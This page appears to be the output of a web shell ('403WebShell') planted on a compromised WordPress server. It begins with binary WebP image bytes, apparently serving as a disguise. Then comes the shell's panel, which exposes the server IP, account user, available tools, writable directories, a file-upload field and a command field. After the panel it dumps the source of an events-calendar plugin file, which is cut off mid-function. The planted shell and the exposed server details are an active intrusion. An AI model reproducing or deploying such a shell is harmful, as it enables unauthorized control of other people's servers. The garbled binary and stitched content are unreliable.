....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/www/wp-content/plugins/modern-events-calendar-lite/app/skins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/www/wp-content/plugins/modern-events-calendar-lite/app/skins//general_calendar.php
<?php
/** no direct access **/
defined('MECEXEC') or die();

/**
 * Webnus MEC monthly view class.
 * @author Webnus <info@webnus.biz>
 */
class MEC_skin_general_calendar extends MEC_skins
{
    /**
     * @var string
     */
    public $skin = 'general_calendar';
    public $activate_first_date = false;
    public $activate_current_day = true;
    public $display_all = false;

    /**
     * Constructor method
     * @author Webnus <info@webnus.biz>
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Registers skin actions into WordPress
     * @author Webnus <info@webnus.biz>
     */
    public function actions()
    {
        $this->factory->action('wp_ajax_mec_general_calendar_load_month', array($this, 'load_month'));
        $this->factory->action('wp_ajax_nopriv_mec_general_calendar_load_month', array($this, 'load_month'));
        $this->factory->action( 'rest_api_init', array($this, 'mec_general_calendar_get_events_api'));
    }

    public function mec_general_calendar_get_events_api()
    {
        register_rest_route( 'mec/v1', '/events', array(
            'methods' => 'GET',
            'callback' => array($this,'get_general_calendar_events'),
            'permission_callback' => '__return_true',
        ));
    }

    public function get_general_calendar_events($request)
    {
        //Params
        $startParam = $request->get_param('startParam');
        $endParam = $request->get_param('endParam');
        $categories = $request->get_param('categories') ? $request->get_param('categories') : NULL;
        $multiCategories = $request->get_param('multiCategories') ? json_decode($request->get_param('multiCategories')) : NULL;
        $location = $request->get_param('location') ? $request->get_param('location') : NULL;
        $organizer = $request->get_param('organizer') ? $request->get_param('organizer') : NULL;
        $speaker = $request->get_param('speaker') ? $request->get_param('speaker') : NULL;
        $label = $request->get_param('label') ? $request->get_param('label') : NULL;
        $tag = $request->get_param('tag') ? $request->get_param('tag') : NULL;
        $cost_min = $request->get_param('cost_min') ? $request->get_param('cost_min') : NULL;
        $cost_max = $request->get_param('cost_max') ? $request->get_param('cost_max') : NULL;
        $show_past_events = $request->get_param('show_past_events');
        $show_only_past_events = $request->get_param('show_only_past_events');
        $show_only_one_occurrence = $request->get_param('show_only_one_occurrence');
        $display_label = $request->get_param('display_label');
        $reason_for_cancellation = $request->get_param('reason_for_cancellation');
        $is_category_page = $request->get_param('is_category_page') ? $request->get_param('is_category_page') : NULL;
        $cat_id = $request->get_param('cat_id') ? $request->get_param('cat_id') : NULL;
        $local_time = $request->get_param('local_time') ? $request->get_param('local_time') : NULL;
        $filter_category = $request->get_param('filter_category') ? explode(',', $request->get_param('filter_category')) : NULL;
        $filter_location = $request->get_param('filter_location') ? explode(',', $request->get_param('filter_location')) : NULL;
        $filter_organizer = $request->get_param('filter_organizer') ? explode(',', $request->get_param('filter_organizer')) : NULL;
        $filter_label = $request->get_param('filter_label') ? explode(',', $request->get_param('filter_label')) : NULL;
        $filter_tag = $request->get_param('filter_tag') ? explode(',', $request->get_param('filter_tag')) : NULL;
        $filter_author = $request->get_param('filter_author') ? explode(',', $request->get_param('filter_author')) : NULL;
        $locale = $request->get_param('locale') ;

        // Attributes
        $atts = array(
            'show_past_events' => $show_past_events,
            'show_only_past_events' => $show_only_past_events,
            'show_only_one_occurrence' => $show_only_one_occurrence,
            'start_date_type' => 'start_current_month',
            'show_ongoing_events' => '1',
            'sk-options'=> array(
                'general_calendar' => array('limit'=>100)
            ),
        );

        // Initialize the skin
        $this->initialize($atts);

        // Fetch the events
        $upcoming_events = $this->get_events($startParam, $endParam,$categories,$multiCategories,$location,$organizer,$speaker,$label,$tag,$cost_min,$cost_max,$is_category_page,$cat_id,$show_only_one_occurrence,$filter_category,$filter_location,$filter_organizer,$filter_label,$filter_tag,$filter_author,$locale);
        $localtime = isset($this->skin_options['include_local_time']) ? $this->skin_options['include_local_time'] : false;
        $events = [];
        foreach($upcoming_events as $date => $content)
        {
            $event_a = [];
            foreach($content as $array_id => $event)
            {
                $loc = '';
                if (isset($event->data->locations) && !empty($event->data->locations)):
                    foreach($event->data->locations as $location ) {
                        if ($location['address']) $loc = $location['address'];
                    }
                endif;
                $labels = '';
                if (isset($event->data->labels) && !empty($event->data->labels) && $display_label) {
                    foreach($event->data->labels as $label)
                    {
                        $labels .= '<span class="mec-general-calendar-label" style="background-color:'.esc_attr($label['color']).';">' . trim($label['name']) . '</span>';
                    }
                }
                
                $location_id = $this->main->get_master_location_id($event);
                $event_title = $event->data->title;
                $event_link = $this->main->get_event_date_permalink($event, $event->date['start']['date']);
                $event_color = '#'.$event->data->color;
                $event_content = $event->data->content;
                $event_date_start = $this->main->date_i18n('c', $event->date['start']['timestamp']);
                $event_date_start_str = $event->date['start']['timestamp'];
                $event_date_end = $this->main->date_i18n('c', $event->date['end']['timestamp']);
                $event_date_end_str = $event->date['end']['timestamp'];
                $event_image = $event->data->featured_image['full'];
                $gridsquare = get_the_post_thumbnail($event->data->ID, 'gridsquare' , array('data-mec-postid' => $event->data->ID));
                $event_a['id']=  $event->data->ID;
                $event_a['title']= html_entity_decode($event_title);
                $event_a['start']= $event_date_start;
                $event_a['end']= $event_date_end;
                $event_a['startStr']= $event_date_start_str;
                $event_a['endStr']= $event_date_end_str;
                $event_a['image']= $event_image;
                $event_a['url']= $event_link;
                $event_a['backgroundColor']= $event_color;
                $event_a['borderColor']= $event_color;
                $event_a['description']= $event_content;
                $event_a['localtime']= $localtime;
                $event_a['location']= $loc;
                $event_a['start_date']= date_i18n( get_option( 'date_format' ), $event_date_start_str );
                // $event_a['start_time']= $event->date['start']['hour'] ? $event->date['start']['hour'] . ':' . $event->date['start']['minutes'] . ' ' . $event->date['start']['ampm'] : (strlen($event->data->meta['mec_date']['start']['hour']) != 1 ? $event->data->meta['mec_date']['start']['hour'] : '0' . $event->data->meta['mec_date']['start']['hour']) . ':' . (strlen($event->data->meta['mec_date']['start']['minutes']) != 1 ? $event->data->meta['mec_date']['start']['minutes'] : '0' . $event->data->meta['mec_date']['start']['minutes']) . ' ' . $event->data->meta['mec_date']['start']['ampm'];
                $event_a['start_time']= date_i18n( get_option( 'time_format' ), $event_date_start_str );
                $event_a['end_date']= date_i18n( get_option( 'date_format' ), $event_date_end_str );
                // $event_a['end_time']= $event->date['end']['hour'] ? $event->date['end']['hour'] . ':' . $event->date['end']['minutes'] . ' ' . $event->date['end']['ampm'] : (strlen($event->data->meta['mec_date']['end']['hour']) != 1 ? $event->data->meta['mec_date']['end']['hour'] : '0' . $event->data->meta['mec_date']['end']['hour']) . ':' . (strlen($event->data->meta['mec_date']['end']['minutes']) != 1 ? $event->data->meta['mec_date']['end']['minutes'] : '0' . $event->data->meta['mec_date']['end']['minutes']) . ' ' . $event->data->meta['mec_date']['end']['ampm'];
                $event_a['end_time']=  date_i18n( get_option( 'time_format' ), $event_date_end_str );
                $event_a['startDateStr']= strtotime($event_a['start_date']);
                $event_a['endDateStr']= strtotime($event_a['end_date']);
                $event_a['startDay']= date_i18n( "l", $event_date_start_str );
                $event_a['labels'] = $labels;
                $event_a['reason_for_cancellation']= $this->main->display_cancellation_reason($event, $reason_for_cancellation);
                $event_a['locaTimeHtml']= ($local_time == '1' ? $this->main->module('local-time.type2', array('event' => $event)) : '');
                $event_a['gridsquare']= $gridsquare;

                // $event_a['allDay'] = $event->data->meta['mec_allday'] == '1' ? true : false;
                array_push($events,$event_a);
            }
        }
        $result = array_values(
            array_reduce($events, function($r, $a){
                if (!isset($r[$a['id'] . $a['endStr']])) $r[$a['id'] . $a['endStr']] = $a;
                return $r;
            }, [])
        );

        return $result;
    }

    /**
     * Initialize the skin
     * @author Webnus <info@webnus.biz>
     * @param array $atts
     */
    public function initialize($atts)
    {
        $this->atts = $atts;

        // Skin Options
        $this->skin_options = (isset($this->atts['sk-options']) and isset($this->atts['sk-options'][$this->skin])) ? $this->atts['sk-options'][$this->skin] : array();

        // Search Form Options
        $this->sf_options = (isset($this->atts['sf-options']) and isset($this->atts['sf-options'][$this->skin])) ? $this->atts['sf-options'][$this->skin] : array();

        // Search Form Status
        $this->sf_status = isset($this->atts['sf_status']) ? $this->atts['sf_status'] : true;
        $this->sf_display_label = isset($this->atts['sf_display_label']) ? $this->atts['sf_display_label'] : false;
        $this->sf_reset_button = isset($this->atts['sf_reset_button']) ? $this->atts['sf_reset_button'] : false;
        $this->sf_refine = isset($this->atts['sf_refine']) ? $this->atts['sf_refine'] : false;

        // The events
        $this->events_str = '';

        // Generate an ID for the sking
        $this->id = isset($this->atts['id']) ? $this->atts['id'] : mt_rand(100, 999);

        // Set the ID
        if(!isset($this->atts['id'])) $this->atts['id'] = $this->id;

        // The style
        $this->style = isset($this->skin_options['style']) ? $this->skin_options['style'] : 'modern';
        if($this->style == 'fluent' and !is_plugin_active('mec-fluent-layouts/mec-fluent-layouts.php')) $this->style = 'modern';

        // Next/Previous Month
        $this->next_previous_button = isset($this->skin_options['next_previous_button']) ? $this->skin_options['next_previous_button'] : true;

        // Display All Events
        $this->display_all = ((in_array($this->style, array('clean', 'modern')) and isset($this->skin_options['display_all'])) ? (boolean) $this->skin_options['display_all'] : false);

        // Override the style if the style forced by us in a widget etc
        if(isset($this->atts['style']) and trim($this->atts['style']) != '') $this->style = $this->atts['style'];

        // HTML class
        $this->html_class = '';
        if(isset($this->atts['html-class']) and trim($this->atts['html-class']) != '') $this->html_class = $this->atts['html-class'];

        // Booking Button
        $this->booking_button = isset($this->skin_options['booking_button']) ? (int) $this->skin_options['booking_button'] : 0;

        // SED Method
        $this->sed_method = isset($this->skin_options['sed_method']) ? $this->skin_options['sed_method'] : '0';

        // reason_for_cancellation
        $this->reason_for_cancellation = isset($this->skin_options['reason_for_cancellation']) ? $this->skin_options['reason_for_cancellation'] : false;

        // display_label
        $this->display_label = isset($this->skin_options['display_label']) ? $this->skin_options['display_label'] : false;

        // Image popup
        $this->image_popup = isset($this->skin_options['image_popup']) ? $this->skin_options['image_popup'] : '0';

        // From Widget
        $this->widget = (isset($this->atts['widget']) and trim($this->atts['widget'])) ? true : false;

        // From Full Calendar
        $this->from_full_calendar = (isset($this->skin_options['from_fc']) and trim($this->skin_options['from_fc'])) ? true : false;

        // Display Price
        $this->display_price = (isset($this->skin_options['display_price']) and trim($this->skin_options['display_price'])) ? true : false;

        // Detailed Time
        $this->display_detailed_time = (isset($this->skin_options['detailed_time']) and trim($this->skin_options['detailed_time'])) ? true : false;

        // Init MEC
        $this->args['mec-init'] = true;
        $this->args['mec-skin'] = $this->skin;

        // Post Type
        $this->args['post_type'] = $this->main->get_main_post_type();

        // Post Status
        $this->args['post_status'] = 'publish';

        // Keyword Query
        $this->args['s'] = $this->keyword_query();

        // Taxonomy
        $this->args['tax_query'] = $this->tax_query();

        // Meta
        $this->args['meta_query'] = $this->meta_query();

        // Tag
        if(apply_filters('mec_taxonomy_tag', '') === 'post_tag') $this->args['tag'] = $this->tag_query();

        // Author
        $this->args['author'] = $this->author_query();

        // Pagination Options
        $this->paged = get_query_var('paged', 1);
        $this->limit = (isset($this->skin_options['limit']) and trim($this->skin_options['limit'])) ? $this->skin_options['limit'] : 12;

        $this->args['posts_per_page'] = $this->limit;
        $this->args['paged'] = $this->paged;

        // Sort Options
        $this->args['orderby'] = 'meta_value_num';
        $this->args['order'] = 'ASC';
        $this->args['meta_key'] = 'mec_start_day_seconds';

        // Show Only Expired Events
        $this->show_only_expired_events = (isset($this->atts['show_only_past_events']) and trim($this->atts['show_only_past_events'])) ? '1' : '0';

        // Show Past Events
        if($this->show_only_expired_events) $this->atts['show_past_events'] = '1';

        // Show Past Events
        $this->args['mec-past-events'] = isset($this->atts['show_past_events']) ? $this->atts['show_past_events'] : '0';
        
        // Start Date
        list($this->year, $this->month, $this->day) = $this->get_start_date();

        // Activate Current Day
        $this->activate_current_day = (!isset($this->skin_options['activate_current_day']) or (isset($this->skin_options['activate_current_day']) and $this->skin_options['activate_current_day']));

        $this->start_date = date('Y-m-d', strtotime($this->year.'-'.$this->month.'-'.$this->day));
        $this->active_day = $this->year.'-'.$this->month.'-'.current_time('d');

        if(!$this->activate_current_day and $this->month != current_time('m')) $this->active_day = $this->start_date;

        // We will extend the end date in the loop
        $this->end_date = $this->start_date;

        // Activate First Date With Event
        $this->activate_first_date = (isset($this->skin_options['activate_first_date']) and $this->skin_options['activate_first_date']);
    }

    /**
     * Search and returns the filtered events
     * @author Webnus <info@webnus.biz>
     * @return array of objects
     */
    public function get_events($start,$end,$categories = null,$multiCategories = null,$location = null,$organizer = null,$speaker = null,$label = null,$tag = null,$cost_min = null,$cost_max = null,$is_category_page = null,$cat_id = null,$show_only_one_occurrence = null,$filter_category = null,$filter_location = null,$filter_organizer = null,$filter_label = null,$filter_tag = null,$filter_author = null, $locale = 'en')
    {
        $start = date('Y-m-d', strtotime($start));
        $end = date('Y-m-d', strtotime($end));
        if($this->show_only_expired_events)
        {
            $start = date('Y-m-d H:i:s', current_time('timestamp', 0));
            $end = date('Y-m-d', strtotime('first day of this month'));

            $this->weeks = $this->main->split_to_weeks($end, $start);

            $this->week_of_days = array();
            foreach($this->weeks as $week_number=>$week) foreach($week as $day) $this->week_of_days[$day] = $week_number;

            $end = $this->main->array_key_first($this->week_of_days);
        }

        // Taxonomy Query
        $tax_query = array(
            'relation' => 'AND'
        );

        if (!is_null($is_category_page) && $is_category_page != 'undefined' && !is_null($cat_id) && $cat_id != 'undefined' ){
            $tax_query[] = array(
                'taxonomy'  => 'mec_category',
                'field'     => 'id',
                'terms'     => array($cat_id),
                'operator'  => 'IN'
            );
        }

        if (!is_null($categories) && $categories != 'undefined' ){
            $tax_query[] = array(
                'taxonomy'  => 'mec_category',
                'field'     => 'id',
                'terms'     => array($categories),
                'operator'  => 'IN'
            );
        }

        if (!is_null($multiCategories) && $multiCategories != 'undefined' && count($multiCategories) > 0 ){
            $tax_query[] = array(
                'taxonomy'  => 'mec_category',
                'field'     => 'id',
                'terms'     => $multiCategories,
                'operator'  => 'IN'
            );
        }

        if (!is_null($filter_category) && $filter_category != 'undefined' ){
            $tax_query[] = array(
                'taxonomy'  => 'mec_category',
                'field'     => 'id',
                'terms'     => is_array($filter_category) ? $filter_category : array($filter_category),
                'operator'  => 'IN'
            );
        }

        if (!is_null($location) && $location != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_location',
                'field'     => 'id',
                'terms'     => array($location),
                'operator'  => 'IN'
            );
        }

        if (!is_null($filter_location) && $filter_location != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_location',
                'field'     => 'id',
                'terms'     => is_array($filter_location) ? $filter_location : array($filter_location),
                'operator'  => 'IN'
            );
        }

        if (!is_null($organizer) && $organizer != 'undefined'){
            $tax_query[] = array(
                'taxonomy'  => 'mec_organizer',
                'field'     => 'id',
                'terms'     => array($organizer),
                'operator'  => 'IN'
            );
        }

